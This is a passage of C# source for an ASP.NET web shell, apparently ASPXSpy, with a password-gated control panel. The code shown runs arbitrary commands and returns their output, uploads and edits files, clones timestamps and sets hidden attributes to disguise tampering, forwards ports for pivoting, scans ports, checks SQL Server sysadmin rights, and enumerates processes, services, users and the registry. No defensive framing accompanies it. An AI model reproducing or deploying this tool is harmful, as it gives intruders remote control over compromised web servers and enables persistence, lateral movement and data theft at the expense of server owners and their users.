1455 | string verstr=Bin_DataTable(@"SELECT @@VERSION").Rows[0][0].ToString(); | |
1456 | DataTable dbs=Bin_DataTable(@"SELECT name FROM master..sysdatabases"); | |
1457 | DataTable rol=Bin_DataTable(@"SELECT IS_SRVROLEMEMBER('sysadmin')"); | |
1458 | DataTable owner=Bin_DataTable(@"SELECT IS_MEMBER('db_owner')"); | |
1459 | string dbo=""; | |
1460 | if(owner.Rows[0][0].ToString()=="1") | |
1461 | { | |
1462 | dbo="db_owner"; | |
1463 | } | |
1464 | else | |
1465 | { | |
1466 | dbo="public"; | |
1467 | } | |
1468 | if(rol.Rows[0][0].ToString()=="1") | |
1469 | { | |
1470 | dbo="<font color=blue>sa</font>"; | |
1471 | } | |
1472 | Bin_List_Exec.SelectedIndex=0; | |
1473 | Bin_List_DB.Items.Clear(); | |
1474 | for(int i=0;i<dbs.Rows.Count;i++) | |
1475 | { | |
1476 | Bin_List_DB.Items.Add(dbs.Rows[i][0].ToString()); | |
1477 | if (cdb==dbs.Rows[i][0].ToString()) | |
1478 | { | |
1479 | Bin_List_DB.Items[i].Selected=true; | |
1480 | } | |
1481 | } | |
1482 | Bin_Div_Dbinfo.InnerHtml="<p><font color=red>MSSQL Version</font> : <i><b>"+verstr+"</b></i></p><p><font color=red>SrvRoleMember</font> : <i><b>"+dbo+"</b></i></p>"; | |
1483 | } | |
1484 | else | |
1485 | { | |
1486 | Bin_Div_Dblist.Visible=false; | |
1487 | Bin_Div_Dbinfo.Visible=false; | |
1488 | } | |
1489 | Bin_DataBind(); | |
1490 | } | |
1491 | catch(Exception e) | |
1492 | { | |
1493 | zcg_ShowError(e); | |
1494 | Bin_Div_DBPanel.Visible=false; | |
1495 | } | |
1496 | } | |
1497 | private void Bin_PortMap() | |
1498 | { | |
1499 | Hide_Div(); | |
1500 | Bin_Div_PortMap.Visible=true; | |
1501 | Bin_H2_Title.InnerText="PortMap >>"; | |
1502 | } | |
1503 | private void Bin_WmiTools() | |
1504 | { | |
1505 | Hide_Div(); | |
1506 | Bin_Div_WmiTools.Visible = true; | |
1507 | Bin_Div_WmiPanel.Visible = false; | |
1508 | Bin_H2_Title.InnerText = "WmiTools >>"; | |
1509 | } | |
1510 | ||
1511 | internal class PortForward | |
1512 | { | |
1513 | public string LocalAddress; | |
1514 | public int LocalPort; | |
1515 | public string RemoteAddress; | |
1516 | public int RemotePort; | |
1517 | private Socket ltcpClient; | |
1518 | private Socket rtcpClient; | |
1519 | private byte[] rbuffer=new byte[2048]; | |
1520 | private byte[] lbuffer=new byte[2048]; | |
1521 | internal struct session | |
1522 | { | |
1523 | public Socket rdel; | |
1524 | public Socket ldel; | |
1525 | } | |
1526 | public bool IsConnected{get{return ltcpClient.Connected&&rtcpClient.Connected;}} | |
1527 | private IPEndPoint GetIPEndPoint(string host,int port) | |
1528 | { | |
1529 | try{ | |
1530 | IPEndPoint iep=null; | |
1531 | IPAddress ipAddress=Dns.Resolve(host).AddressList[0]; | |
1532 | iep=new IPEndPoint(ipAddress,port); | |
1533 | return iep;}catch{throw new Exception("Host not found.");} | |
1534 | } | |
1535 | public void Start(string Rip,int Rport,string lip,int lport) | |
1536 | { | |
1537 | LocalPort=lport; | |
1538 | RemoteAddress=Rip; | |
1539 | RemotePort=Rport; | |
1540 | LocalAddress=lip; | |
1541 | new SocketPermission(NetworkAccess.Connect,TransportType.Tcp,Rip,Rport).Demand(); | |
1542 | new SocketPermission(NetworkAccess.Connect,TransportType.Tcp,lip,lport).Demand(); | |
1543 | rtcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); | |
1544 | ltcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); | |
1545 | rtcpClient.BeginConnect(Rip,Rport,new AsyncCallback(OnRConnect),rtcpClient); | |
1546 | } | |
1547 | protected void OnRConnect(IAsyncResult ar) | |
1548 | { | |
1549 | try | |
1550 | { | |
1551 | session mysession=new session(); | |
1552 | mysession.ldel=ltcpClient; | |
1553 | mysession.rdel=rtcpClient; | |
1554 | ltcpClient.BeginConnect(LocalAddress,LocalPort,new AsyncCallback(OnLConnect),mysession); | |
1555 | }catch{ } | |
1556 | } | |
1557 | protected void OnLConnect(IAsyncResult ar) | |
1558 | { | |
1559 | try | |
1560 | { | |
1561 | session mysession=(session)ar.AsyncState; | |
1562 | ltcpClient.EndConnect(ar); | |
1563 | mysession.rdel.BeginReceive(rbuffer,0,rbuffer.Length,SocketFlags.None,new AsyncCallback(OnRReceive),mysession); | |
1564 | mysession.ldel.BeginReceive(lbuffer,0,lbuffer.Length,SocketFlags.None,new AsyncCallback(OnLReceive),mysession); | |
1565 | }catch{ } | |
1566 | } | |
1567 | protected void OnRReceive(IAsyncResult ar) | |
1568 | { | |
1569 | try | |
1570 | { | |
1571 | session mysession=(session)ar.AsyncState; | |
1572 | int Ret=mysession.rdel.EndReceive(ar); | |
1573 | if (Ret>0) | |
1574 | ltcpClient.BeginSend(rbuffer,0,Ret,SocketFlags.None,new AsyncCallback(onlsend),mysession); | |
1575 | else Stop(); | |
1576 | }catch{ } | |
1577 | } | |
1578 | protected void onlsend(IAsyncResult ar) | |
1579 | { | |
1580 | try | |
1581 | { | |
1582 | session mysession=(session)ar.AsyncState; | |
1583 | mysession.ldel.EndSend(ar); | |
1584 | mysession.rdel.BeginReceive(rbuffer,0,rbuffer.Length,SocketFlags.None,new AsyncCallback(this.OnRReceive),mysession); | |
1585 | }catch{ } | |
1586 | } | |
1587 | protected void OnLReceive(IAsyncResult ar) | |
1588 | { | |
1589 | try | |
1590 | { | |
1591 | session mysession=(session)ar.AsyncState; | |
1592 | int Ret=mysession.ldel.EndReceive(ar); | |
1593 | ||
1594 | if (Ret>0) | |
1595 | mysession.rdel.BeginSend(lbuffer,0,Ret,SocketFlags.None,new AsyncCallback(onrsend),mysession); | |
1596 | else Stop(); | |
1597 | }catch{ } | |
1598 | } | |
1599 | protected void onrsend(IAsyncResult ar) | |
1600 | { | |
1601 | try | |
1602 | { | |
1603 | ||
1604 | session mysession=(session)ar.AsyncState; | |
1605 | mysession.rdel.EndSend(ar); | |
1606 | mysession.ldel.BeginReceive(lbuffer,0,lbuffer.Length,SocketFlags.None,new AsyncCallback(this.OnLReceive),mysession); | |
1607 | }catch{ } | |
1608 | } | |
1609 | public void Stop() | |
1610 | { | |
1611 | try | |
1612 | { | |
1613 | if (ltcpClient!=null) | |
1614 | { | |
1615 | ltcpClient.Close(); | |
1616 | } | |
1617 | if (rtcpClient!=null) | |
1618 | rtcpClient.Close(); | |
1619 | } | |
1620 | catch{ } | |
1621 | } | |
1622 | } | |
1623 | internal class ScanPort | |
1624 | { | |
1625 | public string ip=""; | |
1626 | public int port=0; | |
1627 | public string status="Not scanned"; | |
1628 | public ScanPort(string ip,int port) | |
1629 | { | |
1630 | this.ip=ip; | |
1631 | this.port=port; | |
1632 | } | |
1633 | public void Scan() | |
1634 | { | |
1635 | TcpClient tc=new TcpClient(); | |
1636 | try | |
1637 | { | |
1638 | tc.Connect(ip,port); | |
1639 | tc.Close(); | |
1640 | status="<font color=green><b>Open</b></font>"; | |
1641 | } | |
1642 | catch | |
1643 | { | |
1644 | status="<font color=red><b>Close</b></font>"; | |
1645 | } | |
1646 | } | |
1647 | } | |
1648 | public static void JscriptSender(System.Web.UI.Page page) | |
1649 | { | |
1650 | page.RegisterHiddenField("__EVENTTARGET",""); | |
1651 | page.RegisterHiddenField("__FILE",""); | |
1652 | string s=@"<script language=Javascript>"; | |
1653 | s+=@"function Bin_PostBack(eventTarget,eventArgument)"; | |
1654 | s+=@"{"; | |
1655 | s+=@"var theform=document.forms[0];"; | |
1656 | s+=@"theform.__EVENTTARGET.value=eventTarget;"; | |
1657 | s+=@"theform.__FILE.value=eventArgument;"; | |
1658 | s+=@"theform.submit();theform.__EVENTTARGET.value="""";theform.__FILE.value="""""; | |
1659 | s+=@"} "; | |
1660 | s+=@"</scr"+"ipt>"; | |
1661 | page.RegisterStartupScript("",s); | |
1662 | } | |
1663 | protected void Bin_Search_Start(object sender,EventArgs e) | |
1664 | { | |
1665 | Hide_Div(); | |
1666 | Bin_Div_Search.Visible=true; | |
1667 | Bin_H2_Title.InnerText="File Search >>"; | |
1668 | Bin_Search_Path.Value=Request.PhysicalApplicationPath; | |
1669 | Bin_Table_Search.Visible=false; | |
1670 | } | |
1671 | protected void Bin_Button_Search_Click(object sender,EventArgs e) | |
1672 | { | |
1673 | try{ | |
1674 | DirectoryInfo Bin_dir=new DirectoryInfo(Bin_Search_Path.Value); | |
1675 | if(!Bin_dir.Exists) | |
1676 | { | |
1677 | Bin_Msg("Path invalid ! "); | |
1678 | return; | |
1679 | } | |
1680 | Bin_DoSearch(Bin_dir); | |
1681 | Bin_Msg("Search completed ! ");}catch(Exception ex){zcg_ShowError(ex);} | |
1682 | } | |
1683 | private void Bin_DoSearch(DirectoryInfo dir) | |
1684 | { | |
1685 | try | |
1686 | { | |
1687 | Bin_Table_Search.Visible=true; | |
1688 | foreach(FileInfo Bin_Files in dir.GetFiles()) | |
1689 | { | |
1690 | try | |
1691 | { | |
1692 | if(!Regex.IsMatch(Bin_Files.Extension.Replace(".",""),"^("+Bin_Search_Ext.Value+")$",RegexOptions.IgnoreCase)) | |
1693 | { | |
1694 | continue; | |
1695 | } | |
1696 | if(Bin_Search_Mod.SelectedItem.Value=="name") | |
1697 | { | |
1698 | if(Bin_Search_UseReg.Checked) | |
1699 | { | |
1700 | if(Regex.IsMatch(Bin_Files.Name,Bin_TextArea_Search.Value,RegexOptions.IgnoreCase)) | |
1701 | { | |
1702 | Bin_DoSearchLink(Bin_Files); | |
1703 | } | |
1704 | } | |
1705 | else | |
1706 | { | |
1707 | if(Bin_Files.Name.ToLower().IndexOf(Bin_TextArea_Search.Value.ToLower())!=-1) | |
1708 | { | |
1709 | Bin_DoSearchLink(Bin_Files); | |
1710 | } | |
1711 | } | |
1712 | } | |
1713 | else | |
1714 | { | |
1715 | StreamReader sr=new StreamReader(Bin_Files.FullName,Encoding.Default); | |
1716 | string filecontent=sr.ReadToEnd(); | |
1717 | sr.Close(); | |
1718 | if(Bin_Search_UseReg.Checked) | |
1719 | { | |
1720 | if(Regex.IsMatch(filecontent,Bin_TextArea_Search.Value,RegexOptions.IgnoreCase)) | |
1721 | { | |
1722 | Bin_DoSearchLink(Bin_Files); | |
1723 | if(Bin_Search_Replace.Checked) | |
1724 | { | |
1725 | filecontent=Regex.Replace(filecontent,Bin_TextArea_Search.Value,Bin_TextArea_ReplaceAs.Value,RegexOptions.IgnoreCase); | |
1726 | StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default); | |
1727 | sw.Write(filecontent); | |
1728 | sw.Close(); | |
1729 | } | |
1730 | } | |
1731 | } | |
1732 | else | |
1733 | { | |
1734 | if(filecontent.ToLower().IndexOf(Bin_TextArea_Search.Value.ToLower())!=-1) | |
1735 | { | |
1736 | Bin_DoSearchLink(Bin_Files); | |
1737 | if(Bin_Search_Replace.Checked) | |
1738 | { | |
1739 | filecontent=filecontent.Replace(Bin_TextArea_Search.Value,Bin_TextArea_ReplaceAs.Value); | |
1740 | StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default); | |
1741 | sw.Write(filecontent); | |
1742 | sw.Close(); | |
1743 | } | |
1744 | } | |
1745 | } | |
1746 | } | |
1747 | } | |
1748 | catch(Exception ex) | |
1749 | { | |
1750 | zcg_ShowError(ex); | |
1751 | continue; | |
1752 | } | |
1753 | } | |
1754 | foreach(DirectoryInfo subdir in dir.GetDirectories()) | |
1755 | { | |
1756 | Bin_DoSearch(subdir); | |
1757 | } | |
1758 | } | |
1759 | catch(Exception ex) | |
1760 | { | |
1761 | zcg_ShowError(ex); | |
1762 | } | |
1763 | } | |
1764 | private void Bin_DoSearchLink(FileInfo objfile) | |
1765 | { | |
1766 | TableRow tr=zcg_GetTableRow(); | |
1767 | TableCell tc=new TableCell(); | |
1768 | tc.Text="<a href=\"javascript:Bin_PostBack('Bin_DownFile','"+Bin_ToBase64(objfile.FullName)+"')\">"+objfile.FullName+"</a>"; | |
1769 | tr.Cells.Add(tc); | |
1770 | tc=new TableCell(); | |
1771 | tc.Text=objfile.LastWriteTime.ToString(); | |
1772 | tr.Cells.Add(tc); | |
1773 | tc=new TableCell(); | |
1774 | tc.Text=Bin_FileSize(objfile.Length); | |
1775 | tr.Cells.Add(tc); | |
1776 | Bin_Table_Search.Rows.Add(tr); | |
1777 | } | |
1778 | private void Bin_Msg(string instr) | |
1779 | { | |
1780 | Bin_Div_Msg.Visible=true; | |
1781 | Bin_Div_Msg.InnerHtml="<pre><xmp>"+instr+"</xmp></pre>"; | |
1782 | } | |
1783 | private void zcg_ShowError(Exception ex) | |
1784 | { | |
1785 | if(ex.InnerException==null){Bin_Msg(ex.Message);}else{Bin_Msg(ex.ToString());} | |
1786 | } | |
1787 | protected void Bin_Button_Login_Click(object sender,EventArgs e) | |
1788 | { | |
1789 | string MD5Pass=FormsAuthentication.HashPasswordForStoringInConfigFile(Bin_TextBox_Login.Text,"MD5").ToLower(); | |
1790 | if(MD5Pass==Password) | |
1791 | { | |
1792 | Response.Cookies.Add(new HttpCookie(Version,Password)); | |
1793 | Bin_Div_Login.Visible=false; | |
1794 | Bin_Main(); | |
1795 | } | |
1796 | else | |
1797 | { | |
1798 | Bin_Login(); | |
1799 | } | |
1800 | } | |
1801 | protected void Bin_Button_File_Click(object sender,EventArgs e) | |
1802 | { | |
1803 | Bin_File(Server.MapPath(".")); | |
1804 | } | |
1805 | protected void Bin_Button_IISspy_Click(object sender,EventArgs e) | |
1806 | { | |
1807 | Bin_H2_Title.InnerText="IIS Spy >>"; | |
1808 | Hide_Div(); | |
1809 | Bin_Div_IISSpy.Visible=true; | |
1810 | Bin_Table_IISSpy.Style.Add("word-break","break-all"); | |
1811 | try{Bin_WMI_IISSpy();}catch{try{Bin_IISSpy();}catch(Exception ex){zcg_ShowError(ex);}} | |
1812 | } | |
1813 | protected void Bin_Button_Save_Click(object sender,EventArgs e) | |
1814 | { | |
1815 | try | |
1816 | { | |
1817 | StreamWriter sw; | |
1818 | if(Bin_List_Code.SelectedItem.Text=="UTF-8") | |
1819 | { | |
1820 | sw=new StreamWriter(Bin_TextBox_Fp.Value,false,Encoding.UTF8); | |
1821 | } | |
1822 | else | |
1823 | { | |
1824 | sw=new StreamWriter(Bin_TextBox_Fp.Value,false,Encoding.Default); | |
1825 | } | |
1826 | sw.Write(Bin_Textarea_Edit.InnerText); | |
1827 | sw.Close(); | |
1828 | Bin_Msg("Save file success !"); | |
1829 | } | |
1830 | catch(Exception error) | |
1831 | { | |
1832 | zcg_ShowError(error); | |
1833 | } | |
1834 | Bin_File(Bin_TextBox_Path.Value); | |
1835 | } | |
1836 | protected void Bin_Button_Upload_Click(object sender,EventArgs e) | |
1837 | { | |
1838 | string uppath=Bin_TextBox_Path.Value; | |
1839 | uppath=Bin_PathBuild(uppath); | |
1840 | try | |
1841 | { | |
1842 | if(Bin_Lable_File.PostedFile.FileName==""){Bin_Msg("No file to upload");} | |
1843 | else{Bin_Lable_File.PostedFile.SaveAs(uppath+Path.GetFileName(Bin_Lable_File.Value));Bin_Msg("File upload success!");} | |
1844 | } | |
1845 | catch(Exception error) | |
1846 | { | |
1847 | zcg_ShowError(error); | |
1848 | } | |
1849 | Bin_File(Bin_TextBox_Path.Value); | |
1850 | } | |
1851 | protected void Bin_Button_Go_Click(object sender,EventArgs e) | |
1852 | { | |
1853 | Bin_File(Bin_TextBox_Path.Value); | |
1854 | } | |
1855 | protected void Bin_Button_WebRoot_Click(object sender,EventArgs e) | |
1856 | { | |
1857 | Bin_File(Server.MapPath(".")); | |
1858 | } | |
1859 | protected void Bin_Button_Clone_Click(object sender,EventArgs e) | |
1860 | { | |
1861 | try | |
1862 | { | |
1863 | File.SetCreationTimeUtc(Bin_TextBox_Sp.Value,File.GetCreationTimeUtc(Bin_TextBox_Dp.Value)); | |
1864 | File.SetLastAccessTimeUtc(Bin_TextBox_Sp.Value,File.GetLastAccessTimeUtc(Bin_TextBox_Dp.Value)); | |
1865 | File.SetLastWriteTimeUtc(Bin_TextBox_Sp.Value,File.GetLastWriteTimeUtc(Bin_TextBox_Dp.Value)); | |
1866 | Bin_Msg("File time clone success!"); | |
1867 | } | |
1868 | catch(Exception error) | |
1869 | { | |
1870 | zcg_ShowError(error); | |
1871 | } | |
1872 | Bin_File(Bin_TextBox_Path.Value); | |
1873 | } | |
1874 | protected void Bin_Button_Att_Click(object sender,EventArgs e) | |
1875 | { | |
1876 | string path=Bin_TextBox_Sp1.Value; | |
1877 | try | |
1878 | { | |
1879 | File.SetAttributes(path,FileAttributes.Normal); | |
1880 | if(Bin_CheckBox_ReadOnly.Checked) | |
1881 | { | |
1882 | File.SetAttributes(path,FileAttributes.ReadOnly); | |
1883 | } | |
1884 | if(Bin_CheckBox_System.Checked) | |
1885 | { | |
1886 | File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.System); | |
1887 | } | |
1888 | if(Bin_CheckBox_Hiddent.Checked) | |
1889 | { | |
1890 | File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Hidden); | |
1891 | } | |
1892 | if(Bin_CheckBox_Archive.Checked) | |
1893 | { | |
1894 | File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Archive); | |
1895 | } | |
1896 | File.SetCreationTimeUtc(path,Convert.ToDateTime(Bin_TextBox_Creation.Value)); | |
1897 | File.SetLastAccessTimeUtc(path,Convert.ToDateTime(Bin_TextBox_LastAccess.Value)); | |
1898 | File.SetLastWriteTimeUtc(path,Convert.ToDateTime(Bin_TextBox_LastWrite.Value)); | |
1899 | Bin_Msg("File attributes modify success!"); | |
1900 | } | |
1901 | catch(Exception error) | |
1902 | { | |
1903 | zcg_ShowError(error); | |
1904 | } | |
1905 | Bin_File(Bin_TextBox_Path.Value); | |
1906 | } | |
1907 | protected void Bin_Button_Cmd_Click(object sender,EventArgs e) | |
1908 | { | |
1909 | Hide_Div(); | |
1910 | Bin_Div_Cmd.Visible=true; | |
1911 | Bin_H2_Title.InnerText="Execute Command >>"; | |
1912 | } | |
1913 | protected void Bin_Button_CmdExec_Click(object sender,EventArgs e) | |
1914 | { | |
1915 | try{zcg_ExecCmd();} | |
1916 | catch(Exception ex){zcg_ShowError(ex);} | |
1917 | } | |
1918 | private void zcg_ExecCmd() | |
1919 | { | |
1920 | try | |
1921 | { | |
1922 | Process Cmdpro=new Process(); | |
1923 | Cmdpro.StartInfo.FileName=Bin_TextBox_CmdPath.Value; | |
1924 | Cmdpro.StartInfo.Arguments=Bin_TextBox_CmdArg.Value; | |
1925 | Cmdpro.StartInfo.UseShellExecute=false; | |
1926 | Cmdpro.StartInfo.RedirectStandardInput=true; | |
1927 | Cmdpro.StartInfo.RedirectStandardOutput=true; | |
1928 | Cmdpro.StartInfo.RedirectStandardError=true; | |
1929 | Cmdpro.Start(); | |
1930 | string cmdstr=Cmdpro.StandardOutput.ReadToEnd(); | |
1931 | cmdstr+=Cmdpro.StandardError.ReadToEnd(); | |
1932 | Bin_Div_CmdRes.Visible=true; | |
1933 | Bin_Div_CmdRes.InnerHtml="<hr width=\"100%\" noshade/><pre><xmp>"+cmdstr+"</xmp></pre>"; | |
1934 | } | |
1935 | catch(Exception error) | |
1936 | { | |
1937 | zcg_ShowError(error); | |
1938 | } | |
1939 | } | |
1940 | protected void Bin_Bin_RegreadButton_Click(object sender,EventArgs e) | |
1941 | { | |
1942 | if(Bin_Text_Regread.Text.Length>0) | |
1943 | { | |
1944 | Bin_ShowReg(Bin_Text_Regread.Text); | |
1945 | } | |
1946 | else | |
1947 | { | |
1948 | RegInit(); | |
1949 | } | |
1950 | } | |
1951 | protected void Bin_Button_Process_Click(object sender,EventArgs e) | |
1952 | { | |
1953 | zcg_ProcessHeader(); | |
1954 | try{Bin_Wmi_GetProcess();}catch{try{Bin_GetProcess();}catch(Exception ex){zcg_ShowError(ex);}} | |
1955 | } | |
1956 | private void zcg_ProcessHeader() | |
1957 | { | |
1958 | Bin_H2_Title.InnerText="Process >>"; | |
1959 | Hide_Div(); | |
1960 | Bin_Div_Process.Visible=true; | |
1961 | } | |
1962 | protected void Bin_Button_Services_Click(object sender,EventArgs e) | |
1963 | { | |
1964 | Bin_H2_Title.InnerText="Services >>"; | |
1965 | Hide_Div(); | |
1966 | Bin_Div_Services.Visible=true; | |
1967 | try{Bin_Wmi_GetServices();}catch{try{Bin_GetServices();}catch(Exception ex){zcg_ShowError(ex);}} | |
1968 | } | |
1969 | protected void Bin_Button_Sysinfo_Click(object sender,EventArgs e) | |
1970 | { | |
1971 | Bin_Sysinfo(); | |
1972 | } | |
1973 | protected void Bin_Button_Userinfo_Click(object sender,EventArgs e) | |
1974 | { | |
1975 | Hide_Div(); | |
1976 | Bin_Div_Userinfo.Visible=true; | |
1977 | Bin_H2_Title.InnerText="User Information >>"; | |
1978 | try{Bin_Wmi_UserInfo();}catch{try{Bin_UserInfo();}catch(Exception ex){zcg_ShowError(ex);}} | |
1979 | } | |
1980 | protected void Bin_Button_Reg_Click(object sender,EventArgs e) | |
1981 | { | |
1982 | Bin_Reg(); | |
1983 | } | |
1984 | protected void Bin_Button_DB_Click(object sender,EventArgs e) | |
1985 | { | |
1986 | Bin_DataBase(); | |
1987 | } | |
1988 | protected void Bin_List_SelectedIndexChanged(object sender,EventArgs e) | |
1989 | { | |
1990 | switch(((Control)sender).ID.ToString()) | |
1991 | { | |
1992 | case "Bin_List_Connstr": | |
1993 | Bin_Div_DBPanel.Visible=false; | |
1994 | Bin_TextBox_ConnStr.Text=Bin_List_Connstr.SelectedItem.Value.ToString(); | |
1995 | break; | |
1996 | case "Bin_Button_Show": | |
1997 | case "Bin_List_DB": | |
1998 | Bin_DataBind(); | |
1999 | break; | |
2000 | case "Bin_List_Exec": | |
2001 | string selectstr=Bin_List_Exec.SelectedItem.Value.ToString(); | |
2002 | if (selectstr == "SA_Upfile") | |
2003 | { | |
2004 | Bin_Div_saupfile.Visible=true; | |
2005 | } | |
2006 | else if (selectstr == "FileCopy") | |
2007 | { | |
2008 | Bin_Div_CopyFile.Visible = true; | |
2009 | } | |
2010 | else | |
2011 | { | |
2012 | Bin_Textarea_Query.InnerText = selectstr; | |
2013 | } | |
2014 | break; | |
2015 | case "Bin_List_Code": | |
2016 | Bin_CreateFile(Bin_TextBox_Fp.Value); | |
2017 | break; | |
2018 | } | |
2019 | } | |
2020 | protected void Bin_Button_Back_Click(object sender,EventArgs e) | |
2021 | { | |
2022 | Bin_File(Bin_TextBox_Path.Value); | |
2023 | } | |
2024 | protected void Bin_Button_Conn_Click(object sender,EventArgs e) | |
2025 | { | |
2026 | Bin_Newconn(); | |
2027 | } | |
2028 | protected void Bin_Button_PortScan_Click(object sender,EventArgs e) | |
2029 | { | |
2030 | Bin_PortScan(); | |
2031 | } | |
2032 | protected void Bin_Button_PortMap_Click(object sender,EventArgs e) | |
2033 | { | |
2034 | Bin_PortMap(); | |
2035 | } | |
2036 | protected void Bin_Button_WmiTools_Click(object sender, EventArgs e) | |
2037 | { | |
2038 | Bin_WmiTools(); | |
2039 | } | |
2040 | protected void zcg_btnListPM_Click(object sender,EventArgs e) | |
2041 | { | |
2042 | try{ | |
2043 | if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable)) | |
2044 | { | |
2045 | Bin_Msg("List is empty."); | |
2046 | }else{ | |
2047 | zcg_tbl_PMList.Visible=true; | |
2048 | Hashtable ht=Session[PMCacheName] as Hashtable; | |
2049 | int count=0,connected=0,closed=0; | |
2050 | foreach(DictionaryEntry de in ht) | |
2051 | { | |
2052 | PortForward pf=de.Value as PortForward; | |
2053 | if(pf!=null){ | |
2054 | count++; | |
2055 | TableRow tr=zcg_GetTableRow(); | |
2056 | TableCell tc=new TableCell(); | |
2057 | tc.Text=de.Key.ToString(); | |
2058 | tr.Cells.Add(tc); | |
2059 | tc=new TableCell(); | |
2060 | tc.Text=string.Format("{0}:{1}",pf.RemoteAddress,pf.RemotePort); | |
2061 | tr.Cells.Add(tc); | |
2062 | tc=new TableCell(); | |
2063 | tc.Text=string.Format("{0}:{1}",pf.LocalAddress,pf.LocalPort); | |
2064 | tr.Cells.Add(tc); | |
2065 | tc=new TableCell(); | |
2066 | if(pf.IsConnected){tc.Text="Connected";connected++;} | |
2067 | else{tc.Text="Closed";closed++;} | |
2068 | tr.Cells.Add(tc); | |
2069 | tc=new TableCell(); | |
2070 | tc.Text="<a href=\"javascript:Bin_PostBack('zcg_ClosePM','"+Bin_ToBase64(de.Key.ToString())+"')\">Close</a>"; | |
2071 | tr.Cells.Add(tc); | |
2072 | zcg_tbl_PMList.Rows.Add(tr);} | |
2073 | }if(count==0){Bin_Msg("List is empty.");}else{Bin_Msg(string.Format("Total {0} PortMap(s) cached ,{1} Connected ,{2} Closed",count,connected,closed));} | |
2074 | } | |
2075 | }catch(Exception ex){zcg_ShowError(ex);} | |
2076 | } | |
2077 | private void zcg_ClosePM(string id) | |
2078 | { | |
2079 | if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable)) | |
2080 | { | |
2081 | Bin_Msg("List is empty."); | |
2082 | }else{ | |
2083 | Hashtable ht=Session[PMCacheName] as Hashtable; | |
2084 | PortForward pf=ht[id] as PortForward; | |
2085 | if(pf!=null){pf.Stop();ht.Remove(id);} | |
2086 | zcg_btnListPM_Click(null,null);Bin_Msg("PortMap of ID:"+id+" Closeed."); | |
2087 | } | |
2088 | } | |
2089 | protected void zcg_btnClearPM_Click(object sender,EventArgs e) | |
2090 | { | |
2091 | if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable)) | |
2092 | { | |
2093 | Bin_Msg("List is empty."); | |
2094 | }else{ | |
2095 | Hashtable ht=Session[PMCacheName] as Hashtable; | |
2096 | foreach(DictionaryEntry de in ht) | |
2097 | { | |
2098 | PortForward pf=de.Value as PortForward; | |
2099 | if(pf!=null){pf.Stop();} | |
2100 | } | |
2101 | ht.Clear();Bin_Msg("All PortMap(s) closed"); | |
2102 | } | |
2103 | } | |
2104 | protected void Bin_Button_MapPort_Click(object sender,EventArgs e) | |
2105 | { | |
2106 | try{ | |
2107 | if(Bin_TextBox_Lport.Value=="" || Bin_TextBox_Lip.Value.Length<7 || Bin_TextBox_Rport.Value=="")return; | |
2108 | int rport=int.Parse(Bin_TextBox_Rport.Value); | |
2109 | int lport=int.Parse(Bin_TextBox_Lport.Value); | |
2110 | PortForward pf=new PortForward(); | |
2111 | pf.Start(Bin_TextBox_Rip.Value,rport,Bin_TextBox_Lip.Value,lport); | |
2112 | if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable)) | |
2113 | { | |
2114 | try{Session[PMCacheName]=new Hashtable();}catch{Bin_Msg("Session not enable,List while unavailable");} | |
2115 | } | |
2116 | string s=Guid.NewGuid().ToString(); | |
2117 | Hashtable ht=Session[PMCacheName] as Hashtable; | |
2118 | ht[s]=pf; | |
2119 | Bin_Msg(String.Format("PortMap of ID: {0} Started.",s)); | |
2120 | }catch(Exception ex){zcg_ShowError(ex);} | |
2121 | } | |
2122 | protected void Bin_Button_Scan_Click(object sender,EventArgs e) | |
2123 | { | |
2124 | ArrayList ScanResults=new ArrayList(); | |
2125 | try | |
2126 | { | |
2127 | new SocketPermission(NetworkAccess.Connect,TransportType.Tcp,Bin_TextBox_Sip.Text,-1).Demand(); | |
2128 | string[] ports=Bin_TextBox_Sport.Text.Split(','); | |
2129 | for(int i=0;i<ports.Length;i++) | |
2130 | { | |
2131 | int p=0; | |
2132 | if(Int32.TryParse(ports[i],out p)){ScanResults.Add(new ScanPort(Bin_TextBox_Sip.Text,p));} | |
2133 | } | |
2134 | Thread[] lThreads=new Thread[ScanResults.Count]; | |
2135 | int idx=0; | |
2136 | for(idx=0;idx<ScanResults.Count;idx++) | |
2137 | { | |
2138 | lThreads[idx]=new Thread(new ThreadStart(((ScanPort)ScanResults[idx]).Scan)); | |
2139 | lThreads[idx].Start(); | |
2140 | } | |
2141 | for(idx=0;idx<lThreads.Length;idx++){lThreads[idx].Join();} | |
2142 | } | |
2143 | catch(SocketException){Bin_Msg("Host not found.");} | |
2144 | catch(Exception ex){zcg_ShowError(ex);} | |
2145 | Bin_Label_Scanres.Visible=true; | |
2146 | string res=""; | |
2147 | foreach(ScanPort th in ScanResults){res+=th.ip+" : "+th.port+" ................................. "+th.status+"<br>";} | |
2148 | Bin_Label_Scanres.InnerHtml=res; | |
2149 | } | |
2150 | protected void Bin_Button_Query_Click(object sender,EventArgs e) | |
2151 | { | |
2152 | Bin_Button_Export.Visible=true; | |
2153 | Bin_ExecBind(); | |
2154 | } | |
2155 | protected void Bin_Button_Export_Click(object sender,EventArgs e) | |
2156 | { | |
2157 | try | |
2158 | { | |
2159 | OpenConnection(); | |
2160 | if(Bin_List_Connstr.SelectedItem.Text=="MSSQL") | |
2161 | { | |
2162 | if(Bin_List_DB.SelectedItem.Value!="") | |
2163 | { | |
2164 | conn.ChangeDatabase(Bin_List_DB.SelectedItem.Value.ToString()); | |
2165 | } | |
2166 | } | |
2167 | DataTable dt=Bin_DataTable(Bin_Textarea_Query.InnerText); | |
2168 | string fname="Query.xls"; | |
2169 | Match mat=Regex.Match(Bin_Textarea_Query.InnerText,@"(?<= from \[?)[\w.]+"); | |
2170 | if (mat.Success) | |
2171 | { | |
2172 | fname=mat.Value+".xls"; | |
2173 | } | |
2174 | if (dt.Columns.Count>0) | |
2175 | { | |
2176 | Response.AddHeader("Content-Disposition","attachment;filename="+fname); | |
2177 | Response.ContentType="application/ms-excel"; | |
2178 | { | |
